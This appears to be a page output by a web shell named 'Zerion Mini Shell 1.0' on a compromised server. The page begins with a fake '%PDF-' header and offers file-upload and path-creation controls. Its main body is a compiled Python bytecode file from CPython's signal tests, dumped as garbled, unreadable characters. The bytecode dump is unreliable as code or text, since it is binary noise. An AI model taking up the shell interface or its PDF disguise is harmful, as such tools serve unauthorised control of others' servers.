%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/test/__pycache__/signalinterproctester.cpython-38.pyc

U

n©ßaÉ
ã@sfddlZddlZddlZddlZddlZddlZGdd„deƒZGdd„dejƒZ	e
dkrbe ¡dS)éNc@seZdZdS)ÚSIGUSR1ExceptionN)Ú__name__Ú
__module__Ú__qualname__©rrú6/usr/local/lib/python3.8/test/signalinterproctester.pyr	src@s<eZdZdd„Zdd„Zdd„Zdd„Zd	d
„Zdd„Zd
S)ÚInterProcessSignalTestscCsddddœ|_dS)Nr©ÚSIGHUPÚSIGUSR1ÚSIGALRM©Úgot_signals)ÚselfrrrÚsetUpszInterProcessSignalTests.setUpcCs|jdd7<dS)Nr
ér
©rÚsignumÚframerrrÚsighup_handlersz&InterProcessSignalTests.sighup_handlercCs|jdd7<t‚dS)Nrr)rrrrrrÚsigusr1_handlersz'InterProcessSignalTests.sigusr1_handlercCsZ|dk	r| ¡d}t ¡|}t ¡|krD|j|r:dSt ¡q | d||f¡dS)Ng$@z'signal %s not received after %s seconds)ÚwaitÚtimeÚ	monotonicrÚsignalÚpauseZfail)rÚchildÚsignameÚtimeoutÚdeadlinerrrÚwait_signals

ÿz#InterProcessSignalTests.wait_signalcCs$d||f}tjdd|g}t |¡S)Nz)import os, signal; os.kill(%s, signal.%s)z-Iz-c)ÚsysÚ
executableÚ
subprocessÚPopen)rÚpidrÚcodeÚargsrrrÚsubprocess_send_signal)sz.InterProcessSignalTests.subprocess_send_signalc
CsNt tj|j¡t tj|j¡t tjtj¡t tjtj¡t	t
 ¡ƒ}| |d¡}| 
|d¡W5QRX| |jddddœ¡| t¡*| |d¡}| 
|d¡W5QRXW5QRX| |jddddœ¡| |d¡}| ¡W5QRXzF| t¡t d¡| 
dd¡W5QRX| |jddddœ¡W5t d¡XdS)Nr
rrr	rÚSIGUSR2r)rr
rrrr)ÚSIG_IGNrÚdefault_int_handlerÚstrÚosÚgetpidr(r ZassertEqualrZassertRaisesrrÚalarmÚKeyboardInterrupt)rr%rrrrÚtest_interprocess_signal.s4ÿ ÿ
ÿz0InterProcessSignalTests.test_interprocess_signalN)	rrrrrrr r(r1rrrrr
srÚ__main__)r-rr#r!rZunittestÚ	ExceptionrZTestCaserrÚmainrrrrÚ<module>sE

Zerion Mini Shell 1.0